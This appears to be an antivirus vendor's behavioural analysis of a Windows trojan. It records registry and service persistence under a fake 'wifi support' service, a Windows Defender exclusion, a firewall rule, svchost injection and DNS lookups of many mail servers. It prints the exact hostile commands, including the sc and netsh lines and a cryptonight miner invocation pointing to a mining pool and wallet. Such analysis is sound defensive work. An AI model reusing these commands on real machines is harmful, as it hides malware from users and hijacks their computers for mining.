Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\czefqxvt] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\czefqxvt] 'ImagePath' = '%WINDIR%\SysWOW64\czefqxvt\veydvupl.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\czefqxvt] 'ImagePath' = '%WINDIR%\SysWOW64\czefqxvt\veydvupl.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\czefqxvt' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\veydvupl.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\veydvupl.exe to %WINDIR%\syswow64\czefqxvt\veydvupl.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mx.##timum.net
- DNS ASK cr#####seasonings.com
- DNS ASK sm##.##cureserver.net
- DNS ASK pi#.com.tw
- DNS ASK mt#.###lcloud.com.tw
- DNS ASK ee##.com
- DNS ASK or###uer.com
- DNS ASK nh##.edu
- DNS ASK ma##.nhia.edu
- DNS ASK se##r.it
- DNS ASK ma##.sekur.it
- DNS ASK cr##gmt.com
- DNS ASK ds##.uniba.it
- DNS ASK re###o.uniba.it
- DNS ASK gm#.de
- DNS ASK mx##.#mig.gmx.net
- DNS ASK en###nyc.com
- DNS ASK mx.####webhosting.com
- DNS ASK si###rstar.com
- DNS ASK op###line.net
- DNS ASK si########.com.mx1.greymail.rcimx.net
- DNS ASK mx.##eclima.it
- DNS ASK ei#.gr
- DNS ASK em#####west.aero.org
- DNS ASK ru##kon.lt
- DNS ASK bw###nter.com
- DNS ASK ma######e1.secureserver.net
- DNS ASK en##co.it
- DNS ASK ma##.endeco.it
- DNS ASK ms##.hinet.net
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK al###ista.se
- DNS ASK
- DNS ASK ll###ble.com
- DNS ASK mx.##.icoremail.net
- DNS ASK bu###ails.com
- DNS ASK ALT2.ASPMX.L.GOOGLE.com
- DNS ASK ed###ail.com.ph
- DNS ASK tr###nttech.org
- DNS ASK sh###rworks.com
- DNS ASK hk##ar.com
- DNS ASK im####.netvigator.com
- DNS ASK me##lima.it
- DNS ASK df#.gov.ph
- DNS ASK ya##o.de
- DNS ASK m7##ro.com
- DNS ASK sk###neswc.com
- DNS ASK ka##an.com
- DNS ASK ya##ex.com
- DNS ASK mx.yandex.ru
- DNS ASK pr##ec.com
- DNS ASK ma######2.prudential.com
- DNS ASK te##a.com
- DNS ASK ma##.telia.com
- DNS ASK ma##.usf.edu
- DNS ASK le###randt.at
- DNS ASK si##ury.com
- DNS ASK cr#####ntologia.com.ar
- DNS ASK ma##.###iodontologia.com.ar
- DNS ASK si###ways.com
- DNS ASK in######.messagingengine.com
- DNS ASK pr####tsonsale.com
- DNS ASK ed#.jccm.es
- DNS ASK ma##.jccm.es
- DNS ASK mi###pring.com
- DNS ASK mx#.##rthlink.net
- DNS ASK mx#.qq.com
- DNS ASK qq.com
- DNS ASK sm##.renault.fr
- DNS ASK ep#.pl
- DNS ASK ma##.#aximail.pl
- DNS ASK ho##ail.se
- DNS ASK en##o.no
- DNS ASK da##.net
- DNS ASK co#####tyexpress.net
- DNS ASK ef#######.registrar-servers.com
- DNS ASK ma##.gmail.com
- DNS ASK ae##.org
- DNS ASK mx.#oho.com
- DNS ASK sk####kgroup.co.in
- DNS ASK mx#.mail.ru
- DNS ASK bm##.com
- DNS ASK pr####2.bmts.com
- DNS ASK ac###ourn.net
- DNS ASK ma##.#cadjourn.net
- DNS ASK mi#.wvu.edu
- DNS ASK fz#.edu.cn
- DNS ASK re##ult.com
- DNS ASK mx#.#7aero.com
- DNS ASK bk.ru
- DNS ASK ma##.#eibbrandt.at
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK li#####ternorthwest.org
- DNS ASK as##n.dk
- DNS ASK ma###tech.dk
- DNS ASK 1x##t.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK ms#.com
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK fr#e.fr
- DNS ASK mx#.free.fr
- DNS ASK bj#.org.uk
- DNS ASK fi#####.#ilteryourmail.co.uk
- DNS ASK li##ro.it
- DNS ASK sm####n.libero.it
- DNS ASK lo###metro.org
- DNS ASK ho####.inet.tele.dk
- DNS ASK db.com
- DNS ASK sm###.db.com
- DNS ASK kp.org
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK mx#######703.gslb.pphosted.com
- DNS ASK li#e.de
- DNS ASK google.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ho##ail.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ha##ail.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx#.#anmail.net
- DNS ASK pa###amas.dk
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ya##o.gr
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK hk.####n.herominers.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK sc##.edu.cn
- DNS ASK mx#.#cut.edu.cn
- DNS ASK es##eb.com
- DNS ASK ir#####t2.esfweb.com
- DNS ASK wr##ht.edu
- DNS ASK em##.wright.edu
- DNS ASK mx#####.atomsmtp.com
- DNS ASK ie##.org
- DNS ASK aspmx.l.google.com
- DNS ASK no#s.fr
- DNS ASK sm###in.sfr.fr
- DNS ASK ce####lsoftware.net
- DNS ASK ma##x.rs
- DNS ASK sm####.msc.navy.mil
- DNS ASK ya##o.fr
- DNS ASK es#.##pasandin.net
- DNS ASK ti##ali.it
- DNS ASK ba###tug.org
- DNS ASK et###.#ail.tiscali.it
- DNS ASK al##alia.it
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK ph#.edu.vn
- DNS ASK ma##.phs.edu.vn
- DNS ASK js##.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK va###ata.com.mx
- DNS ASK va######.mail.dreamhost.com
- DNS ASK ti#.it
- DNS ASK sm##.tin.it
- DNS ASK hu####.hamptonu.edu
- DNS ASK ha###onu.edu
- DNS ASK sm####n.virgilio.it
- DNS ASK ye##.net
- DNS ASK ye######.mxmail.netease.com
- DNS ASK ui#.edu
- DNS ASK mx###t2.uic.edu
- DNS ASK tu##e24.de
- DNS ASK mx##.#spgateway.de
- DNS ASK ao#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ir####untain.co.uk
- DNS ASK mx.#03.it
- DNS ASK 10#.it
- DNS ASK ma##.algoa.li
- DNS ASK ss##s.org
- DNS ASK aq##dor.dk
- DNS ASK cl######.eu.messagelabs.com
- DNS ASK ul#.edu
- DNS ASK el#.##glican.org
- DNS ASK ba#####da.rutabaga.org
- DNS ASK vi##ilio.it
- DNS ASK ho###il.co.uk
- DNS ASK al##a.li
- DNS ASK fa#####azorich.com.ar
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\czefqxvt\veydvupl.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\czefqxvt\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\veydvupl.exe" %WINDIR%\SysWOW64\czefqxvt\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create czefqxvt binPath= "%WINDIR%\SysWOW64\czefqxvt\veydvupl.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description czefqxvt "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start czefqxvt' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\czefqxvt\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\veydvupl.exe" %WINDIR%\SysWOW64\czefqxvt\
- '%WINDIR%\syswow64\sc.exe' create czefqxvt binPath= "%WINDIR%\SysWOW64\czefqxvt\veydvupl.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description czefqxvt "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start czefqxvt
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k